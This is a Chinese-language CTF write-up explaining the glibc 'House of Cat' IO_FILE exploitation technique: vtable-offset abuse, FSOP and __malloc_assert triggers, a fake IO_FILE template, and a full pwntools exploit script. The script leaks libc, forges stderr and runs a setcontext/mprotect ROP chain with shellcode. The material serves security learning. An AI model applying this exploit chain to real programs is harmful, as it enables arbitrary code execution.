利用效果
House of Cat通过修改虚表指针的偏移,转而调用**_IO_wfile_jumps中的 _IO_wfile_seekoff函数,然后进入到 _IO_switch_to_wget_mode函数中来攻击,从而使得攻击条件和利用变得更为简单。并且house of cat在 FSOP的情况下也是可行的,只需修改虚表指针的偏移来调用 _IO_wfile_seekoff即可(通常是结合 __malloc_assert**,改vtable为**_IO_wfile_jumps+0x10**)。
利用条件
1.能够任意写一个可控地址。
2.能够泄露堆地址和libc基址。
3.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。
利用原理
IO_FILE结构及利用
在高版本libc中,当攻击条件有限(如不能造成任意地址写)或者libc版本中无hook函数(libc2.34及以后)时,伪造fake_IO进行攻击是一种常见可行的攻击方式,常见的触发IO函数的方式有FSOP、__malloc_assert(当然也可以用puts等函数,只不过需要任意地址写任意值直接改掉libc中的stdout结构体)
vtable检查
在glibc2.24以后加入了对虚函数的检测,在调用虚函数之前首先会检查虚函数地址的合法性。
1 2 3 4 5 6 7 8 9 10 11 void _IO_vtable_check (void ) attribute_hidden;static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables -__start___libc_IO_vtables; uintptr_t ptr = (uintptr_t ) vtable; uintptr_t offset = ptr -(uintptr_t )__start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
其检查流程为:计算_IO_vtable
段的长度(section_length),用当前虚表指针的地址减去_IO_vtable
段的开始地址,如果vtable相对于开始地址的偏移大于等于section_length,那么就会进入_IO_vtable_check
进行更详细的检查,否则的话会正常调用。如果vtable是非法的,进入_IO_vtable_check函数后会触发abort。
虽然对vtable的检查较为严格,但是对于具体位置和具体偏移的检测则是较为宽松的,可以修改vtable指针为虚表段内的任意位置,也就是对于某一个**_IO_xxx_jumps**的任意偏移,使得其调用攻击者想要调用的IO函数。
所以不能再单独直接伪造整个vtable,修改到vtable内任意偏移地址还是可以的
两种触发方式
__malloc_assert
在glibc中存在一个函数_malloc_assert
,其中会根据vtable表如_IO_xxx_jumps
调用IO等相关函数;该函数最终会根据stderr这个IO结构体进行相关的IO操作
FSOP
FSOP就是通过劫持_IO_list_all
的值(如large bin attack修改)来执行_IO_flush_all_lockp
函数,这个函数会根据_IO_list_all
刷新链表中的所有文件流,在libc中代码如下,其中会调用vtable中的IO函数_IO_OVERFLOW
,根据我们上面所说的虚表偏移可变思想,这个地方的虚表偏移也是可修改的,然后配合伪造IO结构体可以执行house of cat的调用链
利用链
原本的利用链 :exit()
——>__call_tls_dtors()
——>_IO_flush_all_lockp()
——>_IO_OVERFLOW
篡改的利用链 :exit()
——>__call_tls_dtors()
——>_IO_flush_all_lockp()
——>_IO_wfile_seekoff
——>_IO_switch_to_wget_mode
——>_IO_WOVERFLOW
原理
通过伪造或者修改stderr,篡改vtable为_IO_wfile_jumps+0x10
,当触发exit时,进入到_IO_flush_all_lockp()
,原本是根据_IO_FILE_jumps
寻找0x20出的_IO_OVERFLOW
,但是由于vtable被篡改,此时就会找到_IO_wfile_jumps+0x10+0x20
处的_IO_wfile_seekoff
,其中的参数fp结构体是我们可以伪造的,可以控制fp
->_wide_data
->_IO_write_ptr
> fp
->_wide_data
->_IO_write_base
来调用_IO_switch_to_wget_mode
这个函数,然后接下来会执行_IO_WOVERFLOW
函数。
其中_IO_wfile_seekoff函数代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) { off64_t result; off64_t delta, new_offset; long int count; if (mode == 0 ) return do_ftell_wide (fp); int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr)); #需要绕过was_writing的检测 bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp)); if (was_writing && _IO_switch_to_wget_mode (fp)) return WEOF; ...... }
_IO_switch_to_wget_mode
函数代码
1 2 3 4 5 6 7 8 int _IO_switch_to_wget_mode (``FILE` `*``fp) { ``if ` `(fp``-``>_wide_data``-``>_IO_write_ptr > fp``-``>_wide_data``-``>_IO_write_base) ``if ` `((wint_t )_IO_WOVERFLOW (fp, WEOF) ``=``=` `WEOF) ``return ` `EOF; ``...... }
关键部分
1 2 3 4 5 0x7f4cae745d34 <_IO_switch_to_wget_mode+4 > mov rax, qword ptr [rdi + 0xa0 ]0x7f4cae745d3f <_IO_switch_to_wget_mode+15 > mov rdx, qword ptr [rax + 0x20 ]0x7f4cae745d43 <_IO_switch_to_wget_mode+19 > cmp rdx, qword ptr [rax + 0x18 ]0x7f4cae745d49 <_IO_switch_to_wget_mode+25 > mov rax, qword ptr [rax + 0xe0 ]0x7f4cae745d55 <_IO_switch_to_wget_mode+37 > call qword ptr [rax + 0x18 ]
1 2 3 4 1. 将[rdi+0xa0 ]处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1。2. 将新赋值的[rax1+0x20 ]处的内容赋值给rdx。3. 将[rax1+0xe0 ]处的内容赋值给rax,称之为rax2。4. call调用[rax2+0x18 ]处的内容。
所以这可以控制部分寄存器,这里的寄存器rdi(fake_IO的地址)、rax和rdx都是我们可以控制的,在开启沙箱的情况下,假如把最后调用的[rax + 0x18]设置为setcontext,把rdx设置为可控的堆地址,就能执行srop来读取flag;如果未开启沙箱,则只需把最后调用的[rax + 0x18]设置为system函数,把fake_IO的头部写入/bin/sh字符串,就可执行system(“/bin/sh”)
高版本中的setcontext是通过rdx寄存器操作的
模板
伪造IO结构体时只需修改fake_io_addr 地址,_IO_save_end 为想要调用的函数,_IO_backup_base 为执行函数时的rdx,以及修改_flags为执行函数时的rdi;FSOP和利用__malloc_assert触发house of cat的情况不同,需要具体问题具体调整(FSOP需将vtable改为IO_wfile_jumps+0x30)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 fake_io_addr=heapbase+0xb00 next_chain = 0 fake_IO_FILE=p64(rdi) fake_IO_FILE+=p64(0 )*7 fake_IO_FILE +=p64(1 )+p64(2 ) fake_IO_FILE +=p64(fake_io_addr+0xb0 ) fake_IO_FILE +=p64(call_addr) fake_IO_FILE = fake_IO_FILE.ljust(0x68 , '\x00' ) fake_IO_FILE += p64(0 ) fake_IO_FILE = fake_IO_FILE.ljust(0x88 , '\x00' ) fake_IO_FILE += p64(heapbase+0x1000 ) fake_IO_FILE = fake_IO_FILE.ljust(0xa0 , '\x00' ) fake_IO_FILE +=p64(fake_io_addr+0x30 ) fake_IO_FILE = fake_IO_FILE.ljust(0xc0 , '\x00' ) fake_IO_FILE += p64(1 ) fake_IO_FILE = fake_IO_FILE.ljust(0xd8 , '\x00' ) fake_IO_FILE += p64(libcbase+0x2160c0 +0x10 ) fake_IO_FILE +=p64(0 )*6 fake_IO_FILE += p64(fake_io_addr+0x40 )
题目
只能add三次,content存在8字节的溢出,没有free,只有一次edit并且会直接exit()
攻击思路
首先利用house_of_orange,通过修改top_chunk的size,然后malloc一个大于size的chunk,会将top_chunk释放到unsortedbin中,即可泄露libc。
可以发现,add时的index是可以我们自己选择,然后可以利用edit(-4)来实现修改IO_FILE_stderr,并且edit中的read的rdx参数就是chunk的addr,能造成范围溢出。就可以利用house_of_cat
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import *from ctypes import *from libcfind import *from LibcSearcher import *import base64import syscontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ["tmux" ,"splitw" ,"-h" ] debug = 1 if debug: p = process('./pwn' ) elf = ELF('./pwn' ) else : p = remote('node4.anna.nssctf.cn' , 28318 ) elf = ELF('./pwn' ) s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096 : sys.stdout.write(p.recv(num)) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil('\xf7' )[-4 :].ljust(4 ,'\x00' )) l64 = lambda : u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , '\x00' )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , '\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num)) libc = ELF('./libc.so.6' ) def add (index,size,content ): rl("choice: " ) sl('1' ) rl("idx: " ) sl(str (index)) rl("size: " ) sl(str (size)) rl("content: " ) s(content) def show (index ): rl("choice: " ) sl('2' ) rl("idx: " ) sl(str (index)) def edit (index,content ): rl("choice: " ) sl('4' ) rl("idx: " ) sl(str (index)) rl("content: " ) s(content) gdb.attach(p) add(4 ,0x88 ,'a' *0x88 +p64(0xfd1 )) add(5 ,0x1000 ,'a' ) add(6 ,0xf40 ,'a' ) show(6 ) libc_leak = uu64() lg("libc_leak" ,libc_leak) libc_base = libc_leak-0xa261 +0x9cf0 -0x219cf0 lg("libc_base" ,libc_base) stderr = libc_base+libc.sym['_IO_2_1_stderr_' ] lg("stderr" ,stderr) setcontext = libc_base + libc.sym['setcontext' ] + 61 ret = libc_base+0x29cd6 pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx_r12 = libc_base + 0x11f497 mprotect = libc_base + libc.sym['mprotect' ] lg("vtable" ,libc_base + 0x2160c0 + 0x30 ) pause() fake_IO_FILE = p64(0 ) fake_IO_FILE += p64(0 )*7 fake_IO_FILE += p64(1 ) + p64(2 ) fake_IO_FILE += p64(stderr + 0x120 - 0xa0 ) fake_IO_FILE += p64(setcontext) fake_IO_FILE = fake_IO_FILE.ljust(0x68 ,'\x00' ) fake_IO_FILE += p64(0 ) fake_IO_FILE = fake_IO_FILE.ljust(0x88 ,'\x00' ) fake_IO_FILE += p64(stderr+300 ) fake_IO_FILE = fake_IO_FILE.ljust(0xa0 , '\x00' ) fake_IO_FILE += p64(stderr+0x30 ) fake_IO_FILE = fake_IO_FILE.ljust(0xc0 , '\x00' ) fake_IO_FILE += p64(1 ) fake_IO_FILE = fake_IO_FILE.ljust(0xd8 , '\x00' ) fake_IO_FILE += p64(libc_base + 0x2160c0 + 0x30 ) fake_IO_FILE += p64(0 )*6 fake_IO_FILE += p64(stderr + 0x40 ) fake_IO_FILE = fake_IO_FILE.ljust(0x120 , '\x00' ) + p64(stderr + 0x128 ) + p64(ret) payload = p64(pop_rdi) + p64((stderr >> 12 ) << 12 ) + p64(pop_rsi) + p64(0x1000 ) + p64(pop_rdx_r12) + p64(7 )*2 + p64(mprotect) + p64(stderr + 0x178 ) + asm(shellcraft.cat('/flag' )) fake_IO_FILE += payload edit(-4 ,fake_IO_FILE) inter()
setcontext+61